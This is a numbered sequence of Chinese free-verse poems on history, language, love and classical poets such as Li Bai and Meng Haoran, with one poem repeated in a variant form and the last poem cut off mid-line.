而你的隐忧，是否驱使你离开了 就连告别也像短促的风铃 脚步消失在黑夜里面 只身前往一个自己不知道的地方 那些美好只是占据了很小的一部分 喘息着，微弱着， 我能看到你的目光 我并不需要火源，事物已经沉睡 时间的指针调和着一切 从天空，天空被曲解为， 在那之上，在那蓝天之上，而我们 端着我们自己的神秘。 我也是如此，我询问你， 贫乏的人如果一次次的失败了 那些短暂的事物，声音只是对于美好的取出 那些我熟悉的人， 他们之前陌生，而并不是他们 我怀疑你是可疑的， 为了避免于虚无， 或我提起真，的时刻里面。 在我烦躁的心情里面， 在它因为平庸而生活依然予以垂青 ——就像春天的野草和你我的声音 燕池448 《燕池》 静静地做鸟， 或者我会，我愿意去做一个木匠 离开此地，因为多半真实 也多半并不真实。无关于天气，你 抬头看看晴朗的天空，用习惯了端详的姿势。 谁也不能把你我分开，谁也说不准 最后的是一声苛责，但带着愤怒的人儿 我们不会向他誓言一般的提起来 像浑身湿漉漉的，湿透了来证明一条河流 静静地做鸟的人儿知晓了这一切 请保持沉默， 当这份邀约指向你的深邃和孤独 以歌曲的形式，或者你 或者你听闻了我，有关于你的错误的论断 搅动了黑夜。当别的让我温暖 我感到的就像你是那个到来的人儿， 一言不发，我准备说起你来时的具体的形象。 你449 《你》 我想一步到位， 贫乏的学童穿着着旧衣服。 直接坐到了你的怀抱里面， 第二天我会从温柔里面离开。 路上讲述着， 没有边际，头绪 你的聆听像你自己沉默的深处， 你的心， 正等待形容词们，它 在我这里一次次的失败。 是如何呢， 如果我抛弃了，这些个具体的场景 在它们骚扰人心的时候 这些具体也同时的体验着 是你在失败之中，居住在了贫困 只有桌子，一张床和简单的家什之中 我只注目于这些 在眼前它们被阳光一照 就熠熠生辉。 它们450 《它们》 它们的颈项， 在黑暗里， 白天的时候被太阳光照着。 不喜欢平衡的事物， 被叫出而形成了的， 再有一点点停顿， 再会有就是我的尴尬了。 那名字的形成，我看着，收获 那慰藉的和大方的良心的， 如果那意欲变作人的愿望 是我慢慢的说出， 如果以倾诉的形式， 我在路上想着， 仿佛陷入了与你的某一种共鸣之中 天空451 《天空》 天空坍塌了下来， 坍塌的有一些真实， 作为事情的全部， 勾引着人们。人们站在街角 走在路上。停顿 抬头看一看天空。 与大地同样的道理，同样的事情 同样的结果预期里面， 我们知道被无知包裹着的一切 那些不知其所以然 是贪婪的象征。而聪明者 并不总是注目于群山 微小的事物，树丛和青草 作为旧时代的产物，毫无疑问 我们的明证给一页白纸盖了个章 我们将通过新修的柏油马路 去往想去的地方。 我们可以在路上一边开车，一边说话 旅伴，是她。或者是她 需要听我来说些什么。 不能真正的，遵从于内心， 但我们的内心其实也并非洁净。 像理解天空， 那些高远的事物对于我们内心的道德 这被呼出的事物， 在它还不是的时候， 在我的心内跳动， 因为误解，我的心脏也因为别的 而不停的跳动着。 卷帘人452 《卷帘人》 没有写完整的， 笔画。像裸露的树枝 是它自己的全部， 并因此才干枯的形 式，伸向了别处。 交给了历史 出了门就是了。 你没有带伞， 只是把一切追溯到天气预报 那隐秘的形式，接着回返 在屋子里面， 我感到我们是一样的， 经过历史的一紧 就是了同一件。 失败453 《失败》 我们一次次的失败， 传统的结果其实就摆在那里。 桌子的表面粗红平整， 放上我们的传统。 但没有一刻不是不停歇 粗气喘着。 为了什么，从粮食回来就三缄其口。 别的道路如果被封死 我们因此喜悦，快乐。 我一个人因为一个英雄的逆流 而绿色的墨染了。 如果时间在此被稀释 在不远处的广场， 公开的事情，一副空壳 历史的空白 一群老太太们坐着马扎，占据了它。 春天454 《春天》 落于纸上，在春天 是悬疑的雪。 重重的雪花，片状的。 我努力的钟情于一些坚固的事物 它们在冬天落脚， 愚笨是它们的特点 受到赞美而欣喜。 我也以为停留和止步， 作为一个好的办法， 文字提供了无声的作证。 人声远离，回音久久不停歇。 那些被忽视的事物 因为被重视。被忽视仿佛一个谜团 每一个张开来的手 无异于张开来的嘴唇。 或者禁闭的。一个人影为了伪装孤独 他走进了寂静的小巷 那些无法融化的雪的记忆 像它们的晚来迟，像影子 最轻微的那种 最容易的那种称作了发现。 道德455 《道德》 道德是什么， 它在语言和文字里面 道德的光束是否像阳光 通过窗户洒落进了室内。 对于空， 那一种， 进而是事物。 谁说光芒不能被反驳 我们条理的理性， 在它被称呼的时候，因它那 卓有成效的历史与经验 而那些积累存在于我们的内心。 那是从课本里面来的， 没有来的是字里行间。 也没有秘密了， 所以有时候空来了， 来的迟了，它用铜铃一般的眼睛 在它睁大的时刻事情已经发生 ———而后走向了神秘。 这些我们从重重罗网 和它那被比喻为树荫之间的斑驳的 影子。 那神秘，只留下一个背影给我们的人儿 我敢说，事情已经可以结束了 二者等同:从容与匆忙 过去和历史和人，他此刻因为懵懂的 调和而呼出，叹息的形状。 而结束，或者别的 如果有一辆马车 走向别处的那破旧， 或者那声音。 想象456 《想象》 那属于不可想象 它有许多的名字，被人们称谓。 殊途同归，直到以后 发现了是它的反面，仅仅这一个 在挽回的来之不及 当我们带着侥幸的心理， 从这里离开，期盼着出发。 那些行李和背包 反射出来极其淡淡的光芒。 如果不是认真的观察 对每一个在街道上面，匆忙的路人 就像 把一个普普通通的问题的失败 像把一根落伍的竹子 引人注目的带着，走在街头。 它还会有很多的名字， 潮水一般，并且又再次如潮水一般褪去。 如果花朵，桃花经历这样惨痛的经历 悄悄的发出了声音，又害怕着。 街头匆匆的行人 为了生活而奔波 有时候又属于另一个名字 我们自我所发出的称呼 如果一个名字是问题的必要 它仅仅短促， 我们因此才有了底气。 无题457 《曾经》 那曾经被实物一般理解的感觉 被湿漉漉的越过河水的人们思索不停。 因人而异，听到了风声 又会四散开来。 民族因为这些个体，村妇，女人和老妇人 话语像没有天启预报的年代 村庄外面需要雨水的土地 所以一颗紧紧关联着彼与此的心儿 因此多么形象，它被无奈所充满了 渐渐鼓胀中， 我们又摸不到入门的路径。 让一个女子去承担所有 对历史撒泼是要付出代价 作为一个站在天平上面的人 像攀登异乡的台阶 某一处山岭， 埋葬了一些命苦的女人。 雾气458 《雾气》 雾气起了 跟雾气散了像是一对 平衡的话语。 软绵绵的，无形的 必然总是抉择于人们的心意。 惶惶然的心， 眼睛却是明亮的 小心的在雾气的想象里面 把过去的一次经历回忆。 袭扰雾气的不仅仅是我们 粗笨的哲理越过河水就水土不服 已是很久以前的事情了。 所以语言本身就磕磕绊绊， 在口语流利的人儿那里 它只是寻找牙尖嘴利的那一个 在他返回去，梦想于 劳作和耕种的实现 ——土地旁边那些如青草一般的苦难， 他与理性的结合， 他说出语言的时分， 夕阳明亮，美丽。 过去的雨水从屋檐上面 落了下来， 感动了未来的我。 那情形可能是金不换的， 遗忘的， 矛盾于盖过所有的一切的 而令人担心而事实是他自己 越来越卑微。 而像土地一样，我需要一个 听我说话的人 像泥土一样扑腾 像容易遗忘的事物， 我说的是记起了什么。 你459 《你》 我轻轻的触摸， 美丽。以至于没有反弹的力量 我并不存在于木然的时刻 我无知于别的，但告别的话语存疑。 我已经所剩无几， 宁愿这一切都通通的发生 一双迷人的眼睛看着我 我猜测因为某些原因 便与我一样， 时刻是值得多次探讨的 涉及姻缘，以因果来解释 涉及旧相识， 涉及你不羞涩，我就羞涩不已 所以在震颤里面 你的美需要一些东西来铺垫 我做出了回答， 天空是几十年间的云彩，月亮 我回答的时候一边赶路 在我动身离开之后不久 你也离开了。 其实，南方是唯一的打而空 你源自于我的需要， 尽管那微不足道。 群山460 《群山》 三人行必有我师的文字， 不情愿的褪去了声音 得以成为了文字。 面对到来人群的，其实是纸张 皱的厉害，不小心就往水的 无不处在里面深入了一下 深入的是它自己的误解， 但没有声音就无从辩解 摊开，向上 它比我还清楚，我是属于那一个沉默的朝代。 而向我展示了它自身 被人误解和被人铭记 当那需要s化的部分， 源于精疲力尽，而我们的后代 子孙只是我们的孩子们孱弱 还在咿呀学步的阶段。 我心怀着神秘主义的观点 抛出愿意它永恒的愿望，转身 从孩子们眼睛里面的 同样漆黑的群山影子里下来 说完461 《说完》 如果除了土地 还是土地在话语的殷切期盼里面 出于完整这个始终 如一的幼稚，在孩子们的眼睛里面。 可以以任何的理由停止前进 也可以以有罪推论向着所有的人。 一切，是自身的自食恶果 怀疑的对象越过了人 逃跑的人尽管惶惶不安 连带着他文字的颤抖不已 在幽暗的山谷里面， 毫无征兆的就开始了回忆过去 只记起了被撞破了一块的木门。 而不是主角的一切都被褐色的景色 笼罩着。 我忽然觉得，命运 其实事关于美好与可能。 当鲜活的心灵不再纠结于历史 也绝非有所收获， 从矛盾的历史之中走脱 但它跳着，砰砰直跳着，进而是他 和， 她。 在寒暄于她妻子与家庭的美满之后 他平静了下来， 因为一些话我还没有说完。 一株植物462 《一株植物》 对于我而言的， 这自我语言的消失的困难。 每当凸显于嘴唇的边缘 当它因为说话，和问询 在靠近一株植物的同时， 其他的事情也发生了。 而我把它们的详实归类于其他 我的话语是海洋的彼岸 没有到达的船帆， 行驶中途的美感，因忽然想起了 中途之美的奥妙。 我的耳边同样幻觉一般的， 想起了众多人们的共鸣 它们的基础是经过了， 我们造纸工匠的粗糙双手。 ——和怜悯之必然与命运升起 于日落时分的双手 如果一群人，以及我 如果我来临， 来临所预示，是平凡的场合 一抹绿色 那绿色植物呵，它飘忽不定的位置 当语言伸下了触角 当它作为植物这个名词的影子 现实比任何时候都无比的坚固。 上面463 《上面》 从上面，下面 没有完结的上面 出现了迟疑 和我的语气。 我的语气同样惊疑不定 性格使然的岔路口 理解偶然的困难 苦思冥想的人儿 我，从一面镜子里面走了出来 我回去应该收获满满。 那个人使我迟疑，使我困惑 那，可是尘土之上 除了生与死所构成的节日 里面的欢欣 之外的他们被问题袭扰着 在逃脱向劳作的路上 我看着他们沾满了泥土的鞋子， 我已经是第二次遇见了他 和他们 在整个民族的内部 弓背，屈腰 我第一次见他时候的情形 整个民族正在他那里形成。 海464 《海》 它已经有了无数个比喻， 它还想要的更多。 这在生活中很常见， 组成了另外一片海。 在远离大海的陆地深处， 有一面镜子，铜制的 隔在真实与影子之间。 五彩465 《五彩》 五彩同时笼罩了过去 和现在。 五彩的夜淹没了你的嘴唇 连你最羞涩的部分 都有一部分向我敞开，吐露。 我分外感激于， 即使我的嘴笨拙，表达的时分 需要看看傍晚的天色， 好来区分开来 那些夜晚的云彩。 如果有的，在落下的时分出现了岔子 我就会以逗你乐和缓解尴尬气氛的 方式， 来把对话进行下去。 我也是你 你的小心，谨慎，但美丽的过分 那溢出多么的不可阻挡呢，亲爱的 眼睛弯弯似月亮， 整个的夜晚我们都会 淋漓尽致的把邀约， 从配角向着成为了主角的转变。 所以，在你的未曾意料， 如果它持续着，呵，暮色让它持续着 美丽的误解，你就是你的唇瓣 未曾料及的片段含有着宇宙的部分 宇宙的爱意和美丽的部分 之后会徐徐如船帆回到你的部分，和 撞击的部分，温柔卸下的部分 是了，仿佛暗示性一般， 我是你温柔卸下的部分 劳工在码头，下了他的班组， 却更加幸福的工作。 而另外的部分 请你随我离开这刚刚聚集的宴席 离开舞会吧， 曼妙而纤细，记忆而又失了忆 赤条条的我 呵，美丽的人儿。 夜船466 《夜船》 他一路走， 他要反驳的是我。 他变作了一只蝴蝶的时候 那些影子，连同变化的缓慢发生 误解依然不可避免 跟使用文字一样 文字跟农耕最原始的石器一样 时间的河流身上砸出了一个个 还没有结束的凹陷。 趁着鼓声，而我是一个大大咧咧的人 对声音敏感 睡眠短暂总好过难以入睡。 睡成一条船就随波逐流 让两岸听到， 有关于命运的神秘的呼声。 我上岸的脚步是干燥的 你摇曳如夜晚的深处 有时候你孤单如夜晚矛盾的灯火 重重和单一，或者二者兼具 又只取其一。 或者这是一个普普通通的夜晚 因为声音 语言是它单独而野蛮 不被解读和不能识别的时候 脱落的部分。 捣衣声467 《捣衣声》 李白在了城门外停下了脚步。 往城里望了望，并没有进去。 李白乘坐的一匹马同样，望了望。 灯火阑珊被不断的捣衣声 覆盖，的形状是起伏 在夜色里面， 只有马匹正抬起了头 被离开的人儿看见。 一片月468 《一片月》 在捣衣声的陌生里面 用你的背影冲着未来。 如果我沉默， 始终是你丰腴的部分占用了 大部分在词语里面的时间。 我怀疑你是一个美妇人， 并且曾深信不疑。 我视作了那轻微的，和微不足道 对于事实， 当她舍弃一切， 只是以一副嘴唇的方式 当它的样子在穿行的途中 被厚厚的尘土和蜘蛛网所覆盖。 我甚至感觉， 你捣衣声的里面是我 历史之中的李白 他被捣出，出于羞涩，他转身 走出了城门。 我摸到了那个羞涩的位置了， 没有被说出的是弃城而去 让一位剑士和战场上面的歌者 那些颜面同时在他的诗篇 和默默离去之中映现。 我不能充分感受的虚无， 犹如微不足道的角色， 如果历史足够的宽阔， 我们要求着宽阔， 想象没有停止，不断的陈词 你这个被偶然所抚摸到的 因为极其的轻微， 从月亮的光芒里面洒落下来 李白正准备出城而去。 夜歌469 《夜歌》 让万变不离 其宗。从山上欲离开的人 排在最后一个。 渡轮或者火车的班次 已经人满为患了。 从最后遗留下来 推测它们的去向是唐代或者元代。 中间的忽略不计 也可以成为一个朝代的短暂 幸福，正于一种忽视之中发生 涂抹或者雾气，或者升腾 或无形的话语实则免不了是 人们不得不做出，试探性的猜测。 太过荒诞的事情 已经事实上的发生了 甚至它铺展，不仅仅如水莲花的美 它别的部分 人的脆弱对于一整个的时代 所迸溅起来的尘埃。 所以我懂得你希望我停一停的心思 留一些时间给你， 不是通过思索，逻辑的可悲 现实的永恒冷酷 或者通过别的我确确实实的 曾经与那个叫做自己的人儿 撞了个满怀， 在雾气中，撞掉了记忆 记忆于是尽力去回想，形式 甚至有所形象，有所声音的形式 是勉强的唐代和疆域广大到 现代都可以为所欲为的元代曲子。 宋朝被撞掉了， 难不成你作为遗孤 是要做一个从男到女之人。 空空的庭院坐落在好高的山上 久远的号子在江面荡开 我所追求的是最后一次 我总是窥探着你，用双手 划开了水或一面镜子。 遵循470 《遵循》 遵循语言的习惯， 并且对于传统， 是自身朦胧的人儿 极其轻微的以点头难以察觉的 致意。谁都不愿意这样的情况发生 或者每当海浪侵袭 沙滩，来到了一天 和众多个日月里面的傍晚的美丽。 指针无形，甚至无辜，语言 不可避免的滑落着 在向着深渊一般的途中说着话语。 谁都不愿意看到一副陈shi的景象， 事先就把神秘附带，即使 内容有别，一个句子，作为新的笃定的 开端，一个大的比喻 将许许多多的恣意挥洒来包含。 我就停在了这里， 那些空的厌倦， 会在我的不会涉及，无力涉及里面 厌倦于我无知的身体。 请保留灵魂，并且 偶然面对空的时候 如同偶然里面的大海的广阔 将它带了回来，在事情的起初那里 我感到幸福， 幸福于再有更多的人也是不够的 ————和他们自我遗憾的叹息。 长安471 《长安》 截取这一段， 前两句就够了，就好了。 剩下的是水， 自身之中的淹没 我的想象有时下去， 避不开的无聊，而肤浅 似有让人胆战心惊感觉。 水中的一双眼睛 不止于此， 水上的一轮明月， 在我的头顶熠熠生辉。 如果未来空间之美中的庸俗 以及不及于劝慰的我 如果那些美丽我也曾幻想， 在水上实现的时候。 单独472 《单独》 哦，所有单独独立而代表着 庄重的词语 和它们的声音。 在一起 而这样的景象像美诱惑着我 走向别的什么。 我，正准备从空中捞起些什么， 它们命名为水的日子。 在最为真实的日子里面哑口无言 像是语言的诞生和出处的声音 像我，并不独立， 只言片语并不独立为章。 万户473 《万户》 这一次，声音 更大了一些。并且混乱 直接抵近我的嘴唇 一个恍然的梦它已经事先的 把一切对我告知， 当我以为会从红润到达之处 由更美好和花朵来萦绕 那些离开水波时碰撞的声音 显得很迟。 而迟到成历史的 和历史特别形象的比喻。 后者被念着。不是它被一种情绪化的思 笼罩了自己又面向着别人。 迟成历史的老妇人， 挖掘出了她不幸的晚年 家庭的概况，要由一家人 围绕着一块贫瘠的土地打转。 她的语言尽是， 洒下了谷粒，伴着别处听来的歌谣 收获的是g兵，她们 在夜里躺在坚硬的床板上面，腹部空空，发出了咕咕叫的声音。 我无法想象，自己的尝试真的有着， 走到自己尝试之外的野心。 相反，在史书里面的求饶和逃避 形成落花一般等待和对称的 那一袭青衣沿着河流作势潇洒而去 他腰间挂着酒葫芦， 语言在酒家和酒家的遥远距离之间 来回碰撞 不对其他做出着回答。 如果不让一切上升到耳朵， 并且从中，可以反问和发现 甚至人们的轻笑都无足轻重 我们共同的东西，都在看和观察 注目之中如何的慢慢消失掉呢。 我不吝于自己思维的贫乏，不是一只 倦鸟，无法 从高高伸展的枝杈上面找到共鸣。 那些要回来的，事物 我认真的做着解析， 以沙土为推论 不走到河流和历史，它们二者的同一 和沙土那对象化了的因而轻易而举的， 和语言的沙盘。 也不是诗人，一句我不认识他 或者一万句我不认识他 惹得了李白的生气 一万户捣衣的景象，一万户的有所错过 有所概述和涉及，比如一个提到过的老妇人 悲剧的渲染的不得城门而入的 ————城池之门的形成 像是得以下雨， 趁着这种时候， 或者棍棒之下的这种不可想象的， 历史真相。 八千里474 《八千里》 有人行八千里， 从此到彼， 我们的感觉和在你嘴唇里面的 不证自明。 我爱上了为一些小事情而担忧， 白天是已经有了结果和论断 如果整个民族的核心 在一群人慢慢的群居， 由围拢而来 带着商量和个个摩拳擦掌的口气。 如果担忧是胜利的一方， 而更为的广阔，作为单一的表达方式 在句子里面多么平凡的被朗读 并， 带起了一些思索的火花。 在我看起来，当我在一棵树下 从下午直到傍晚 当我因此有很多的话语可以说， 并且准备着， 你的隐而不发只会发出碰撞的火花。 那担忧一路向下， 其实它已经早早的熄灭 或在误解和错误里面 在人的坚决和果断的认定而复活。 在人紧紧搂住自己的感觉和体验。 斩钉截铁， 我们面对着喝光了茶水，空空的茶杯。 从茶杯到彼， 到搜寻和眼前的事物 到往回走的人。 我记起了群居但不是个人 我的热爱经不起推敲因此， 才反对对它虚假的判断。 我因此不是另一个， 另一个因此正烦忧， 美丽的词语，在到达之后被自然而然说了出来。 我热爱，蒸腾的水汽我也热爱 感觉走了八千里， 它的近邻， 只有一次尝试， 八千里云和月的尝试， 和一颗火热的心。 孟浩然475 《孟浩然》 有人行八千里， 诚实的人 行到了历史的良心。 给人留全尸，留盛名 在水边的土地上面 在黄褐色转向黑色的土坑那里 正有什么在发生。 如果搅乱了历史的是深， 我们可以说是锄头， 并且对于挥动的人，在他们已经被强调的时候 苦难的永恒已被充分的了解。 如果别的事情有人依然 兴趣浓厚， 这犹如不可多见的景观，犹如 南方诗人的行走的名字 每每又对于我而言被大风阻断。 呵，历史的良心太脆弱了 我们只能在院子里面 看着天上的群星， 如利刃一般数着它们 需要付出的代价， 意外的光明:在文字的简略里面安居吧 即使不得安宁， 能作为基础的幸福。 我一定是醉了， 走向了被语言鄙视的，全部历史和良心的 别处。 那里，和孤独一样，又因为此 而过分的澄明:被酒水沾湿了的 怪罪被清水沾湿了的， 就是了诗歌。 这就是无人在的时候， 发生的一场a件。 这是从结尾，准备，充分 走向了开始。 这因此是哑口无言的孟浩然， 他代替了所有人类纽扣一般良心的诗人 当他总是疼痛的平静面容的表面， 当他的衣服无风的时候起伏和鼓胀 惨败的脸却推动了这一切。 呵，在梦中再一次出生的孟浩然 短命于我与他虚空形象，匆匆的告别。 让这些如回声一般的回荡 作为一个人，他 被赐予了人类的某一些， 可以用来在第二天摇摇晃晃，对别人进行解释的统称。 酒鬼——甚至那更为的形象 是整个历史的担心 在夜晚徐徐下降的时候，我看得清楚 这里，我把它的零散重述一遍 ——如果我能躲开的，和我的一声叹息 : 遗留即使有关于语言 也有关于门外， 桃树所投下的人的影子。 指出的具体， 我的叹息，因为错误而被一点点的戳破。 温情的形象被我看到了， 作为一种附赠品， 它更加的长久。 作为物品包装的泡沫和塑料 上面残留着的是历史的温情。 历史如同一扇门， 一个夜晚只能够推开一次。 只能够装填进微不足道的东西 我一边搬运， 轻在我的双手上面 合拢也在，之前 是怀抱的姿势。 是拥抱的姿势来自于误解 如果在误解和沉默的那里， 对于他人尽力私藏自己欲求的企图， 整个的人类良心， 和欲望，从一种无从知晓那里溜出， 像零星的焰火 讲台476 《讲台》 她在讲台上面与声音 一直温暖的矛盾和解释着 其中有时间， 有我刚刚从泥潭里面拔出了 脏兮兮的鞋子，看到了其他人 同样如此的我。 多年之后， 这时间的念珠依然没有走到 语言倔强的尽头 或者倔强的人长大了 南墙有一道裂缝 她的脸庞正瞧着一个人的背影， 她的脸色惨白， 这是我从一片树叶， 低垂到快接近地面时看到的， 影子斑驳。 城墙478 《城墙》 一块石头， 砌在有年头的墙壁上。 从起到防护作用之处回来 现在变成了从渐渐失去了效果那里 回来，带着一声声无力感。 它能从人们路过时 发出的叹息令它产生共鸣。 它在其他时候之上， 能看到它们看不到的风景 远处的更宽阔的视野因此 也受到了沉默难言的隐隐束缚。 它高于历史， 突然一下子会像极了一段佳话 但从失败和悲剧性的地方开始 并且需要一个坚实而疼痛的基础之时。 城墙479 城墙 《城墙》 一块石头， 砌在有年头的墙壁上。 从起到防护作用之处回来 现在变成了从渐渐失去了效果那里 回来，带着一声声无力感。 它能从人们路过时 发出的叹息，产生共鸣。 它在其他的众多石头之上，是最高处的那一个。它听到了历史的回声 时代大而空虚 于是不得不不断重复，沦为了庸俗 而外表庄严的审判。 于是它， 是众多石头的集体的嘴唇， 如果众多的石头与所有和必然都无疑 一个声音在众多的复合调子里面 以奇迹诞生的形式又怎会 引起了人们的惊异呢。 借此，人们试图逃离， 携带美眷，路途上的每一处风景 将会把我们的灵魂洗涤？ 不，城墙拦住了我们的去路， 石头， 以城墙之姿态， 那千百年的质疑，穿越过了 从它那褐色和斑驳，落下来的 是取名叫做了回答的， 和人声熙熙攘攘，平静的破碎声音。 让石头只是一颗石头吧， 倒不如让它在最高之处， 在那温柔，是人的话语和传统 我们还能为它寻获的更多 当人这个名字与石头渐渐的产生， 密不可分的联系 之于血肉和骨头 像回来的人面对着旧事物，心里面 全是无谓的叹息时。 无题480 《无题》 我喜欢一切事物的 悲剧性的光芒， 傍晚时打在我的脸颊。 我看着，语言，力量，正式的统称 所包含的合理与不合理。 只有在粗糙的村庄才可以谈论它们 在雾气中它们曾不停的搅动 它们的美丽只是动词般的美丽， 一阵悸动。 寂静来临， 它为此努力的曾一跃而起 像跳脱，这些所换来的 它曾经在中途思索。 晴朗481 《晴朗》 在晴朗天气的屋子里面， 下一场雨。 因为书籍而起，我也不会，走到别处。 那里有着质疑的彩色，模糊的光芒。 暗淡轻柔，存在的时间长于我的想象。 有时候我会把这些想象折断， 太过脆弱的事物一意孤行的穿了过去。 对于声音的敏感和轻信， 在二者之间由一侧滑向另一侧。 它们被当做了论据和依据， 有时候像打地基用的木头桩子， 形式像一个旧时代的产物 存在于新时代的盛景之时， 在我们的语言的不好意思推脱之中， 被这些，溢美之词一般的包裹着， 那时我感到了一阵短暂的眩晕， 正置身于， 一个普普通通的人， 话语已经结束之后处境之中。 不安482 《不安》 不纠结于文字， 那么这些不安和畏惧来自于 哪里。把两个毫不相干的事情 因为赞美的轻薄而放在了一起 夜晚依然是悄无声息的， 我听见有人带着遗憾 离去，更加的在语言的试验里面 把一切弄的粉尘四起， 我劝慰不了距离太远的人 历史之中河水，奔腾反而先于了 它在我嘴唇里面所制造，虚无的干枯。 我与他也不是密不可分的两件事物， 两个瓷器之美或者两个植物的花朵的美丽。 不是别的， 毫无疏漏的异乡音——它羞涩不已的年轻的时候。 不是记忆起了什么， 没有柔软的手儿，冰凉的小蛇 从我的手指尖抽离。 我坐在幽暗的阁楼， 听见。 : 美丽哎过分短暂， 像植物，又像是某一株花朵 我记忆上面 针刺一般的感觉， 那些疼痛属于别的， 在矛盾与纠结之中， 像误解的路途值得被回想， 只有微不足道的普普通通， 属于我的，我一遍遍的来重复了， 因我不太敢相信。 句子483 《句子》 你说过白天是一阵风， 它提供了这样的机会， 这样的问题。 乐意回答的人偏偏更倾向于 沉默。 我，从我断句的地方离开 其实对于我脆弱的心儿 这里犹如明证的法庭 离开了庄严和肃穆。 而笨拙的语言始终压抑不住 我渴望着美丽与完整， 日日夜夜里面， 在山寺，在阁楼，池边。。。。 心儿生出了期待， 用木锤撞击着， 那早已经不可能的结果。 声音如同鱼儿皮肤表面的鱼鳞 宽慰我的这些具体，也宽慰了 对于一切尚未知的你。 我会两次踏进同一条河流， 两次沾湿我的裤脚。 心儿放松，身体舒展， 对于突然的不期而遇充满了感激之情 为明天而今天， 心怀着，倦怠依然筹划和准备。 无知484 《无知》 对于一切，我尚未可知 我对于美的知 是一切的肤浅 但沉默的姿态，是嘴唇的禁闭。 岂不知，颤抖会如同一处戏曲 那么，我回头望你 对于尚未可知的一切， 如果穿过了迷惘的雾气， 是我。 在那些自己的同样难以言喻，难以解释上面 我耗费了太多的时间 文字的怜悯如同伸进来的光线 即使对于这些原始的区别 光阴与时间， 或者另有一对的缺失之必然， 出于对话的必要， 或者一种猜测的重要性， 以后不断的被提及了。 山寺桃花485 《山寺桃花》 截取这一段， 用我流氓一般的手儿就够了。 我还会挥散和驱赶 让一个没有耐心的人去做 这一件事情。 我也会怪罪日月， 你无法区分， 我与你，我与他，甚至于 他与你， 你走在山川的里面是一片的暮色 趁着这个当口， 其实伟大与渺小无疑， 随身携带着天平的人儿， 我崇拜你， 只有你历史之中的一切才是真的 而其他多么的可疑。 如果你累了， 因为语言就败下了阵来， 那么你就是他。 这些详实的事如同暗哑的琴弦被拨弄， 我的心儿当时颤抖 ：如果你回赠于我什么， 你会打开一个平平无奇的嘴唇， 我在里面想念了多种多样的花朵。 窗含486 《窗含》 g境线把四川置于 一场谈判的斟酌和退让， 大与小的结果之中。 有时候，日子是破碎的 语言的全部都涉及和提到的 是赶巧了。 从异乡人的语言，我 厌弃测度 我老老实实的为自己的安危着想 坐在自己的位置上面。 有时候，男人 女人， 女人会更容易婵变， 这些如同酒水递送了过来 日暮西斜， 我趴在窗外，记忆着什么。 半山487 《半山》 赶在了所有的人之前， 她甚至赢得了， 可以用来稍作调整的时间 让那些珍贵的语气消失掉。 哲人的光辉 有着奇怪的癖好 每一个思索的人都会随时和随地的 被惊吓一跳。 这样所以形成的远观的风景 像内扣的必然景象， 当伴随着掉落的树叶的飒飒声音 对于我的欲言又止而无可奈何 作为一个追求于寂静之中的情爱 以及那些繁多而具体的动作 和它们的栩栩如生， 像一个孤寂之中女子， 嘴唇微微闭上而颤抖 像这，也像那个。 月下489 《月下》 因为不能寂静如同 弦乐之长久的尾音 那已经是了袭扰， 在嘴唇上面，以明证 而一次次的证明。 我能听到了镜子被拿到了 门外，变成月亮的困难 和光明因此的由来 ： 因为不可能而走向了另一个方向。 而在破碎之中， 借着室内之人的宽容。 呵，或许那可是我的爱人 我难以忍受的她桃花一般被凌辱的身体， 过了这一个短暂的间隙 宽恕丛生， 像月亮下面的昏暗的草丛 我漫步走过，很是轻巧 它们负有责任。 远处的山水490 《远处的山水》 放到一起的， 迟早会出现了问题。 所以耳目幻听，听到了雷鸣声音的 我们 尽力的往前看， 踮着脚尖看 趋势着语言的看， 让语言落空和陷于了必然的 远方之危险的看。 看之中会诞生诗意，大山大水 之中，置换，平衡 福兮祸兮所依。 呵，其实你只是站在一根木头桩子上面 尽量的抬高了身体 下一刻手从高高院墙的抓持之中滑落 人整个的摔了下来。 这痛的屁股像坐在了山水之上， 于那深处是属于语言默不作声的寂静 山谷。 有时候你似有所获，转头看向了我 对于自己的出处， 我无法不停的敲打着， 以图对于普普通通，问询之中 有所结果。 老黄历491 《老黄历》 还不是时候， 甚至是归期已过之后的日子， 它们不约而同的上升。 而我只能掩饰自己的尴尬， 弯下身，这是否太过于具体了 是否会把一个人， 纳于空处的别人在于那 空山里面又能做些什么， 语言的负罪已经是巨大的矛盾 有时候是哲理， 期待着太阳一出，就会 再次的把他那概念和形式的人儿 来袭扰。 我不需要更多的布景， 一次又一次的馈赠， 群山的黛青之浓郁会，更加的甚。 而极其微小的动作， 发现自己的只能是颤颤巍巍自己 犹如耐心又微小的告白， 犹如遗忘有着转瞬即逝的呼应和对应面 我弯下了身 从一面被撕掉的老黄历上面 来界定昨天， 追溯昨天。 草堂492 《草堂》 一觉醒来，而睡意还在下沉。 下的更深一些，像是有一个目的地 更为的长久一些， 像历史，曾经被猜测的背影。 因为正确而如今倒了过来， 我已经为你设置了这，迷离的景象。 为这节俭的路途而你走了过来。 下沉的更深一些， 有时侯是杜甫的一阵倦怠， 他对他自己的熟悉和陌生 句子像自己的家人和妻子， 杜甫一阵阵的倦怠 他感到了没有什么穷尽 在向上的高处那里， 用手指了指， 他感到很随意的动作有着 很沉重的历史的良心 他觉得那不是一件而是了两件 事物，其中有一个是他 栩栩如生的青年时代 已经因为什么而结束了。 山上494 《山上》 归期已过， 我们去山上面寻找， 躲在角落里面的云气吧。 在一件事情上面添加上， 另一件事。 让我靠近你的嘴唇， 红的发紫，红的发疼。 如果不靠近你， 我穿着沾湿的鞋子和裤脚， 又怎么可以与你说话。 我想在你沉浸于你那天然的属性， 当你性格的部分已经被 无数次的门外，合欢树一般的人儿 摇曳和轻叩。 山谷里的云团是静止的 靠向你的嘴唇， 语言之碎片， 在返回的途中划伤了另一些， 雾气之中还有一副脸庞。 忽然495 《忽然》 我忽然联想到的 ——甚至更加的具体， 和它的企图 那些长条状态一般的形状。 我感到了刺目， 刺我语言而使得它凌乱不堪。 像一切都应该以匆忙的方式结束 聆听和倾听， 我靠近你和他，来听小心的探索。 我疲惫的时候， 没有精力注意什么， 太多， 像黑夜，像空鼓的东西， 一根竹竿的支撑， 空气的需要如同语言一般，如今 是轻微的鼾声（包含着理性） 我也误解了暮色一般的， 误解着你。 哲学496 《哲学》 诗歌的门外汉，话没有说完。 说犹如一阵风，温的和暖洋洋的 呵，除了你瘫坐的姿态，真的 你的语气一分为二， 无论它多么的微小 在我误以为是卑微的误解里面， 那些哲学，思 生了。 八千里497 《八千里》 拿来之随意里面，比如 日行八千里， 也已经厌倦了。 也因此日行八千里， 大于青草，大于石头，土壤。 我能想象文字的困难， 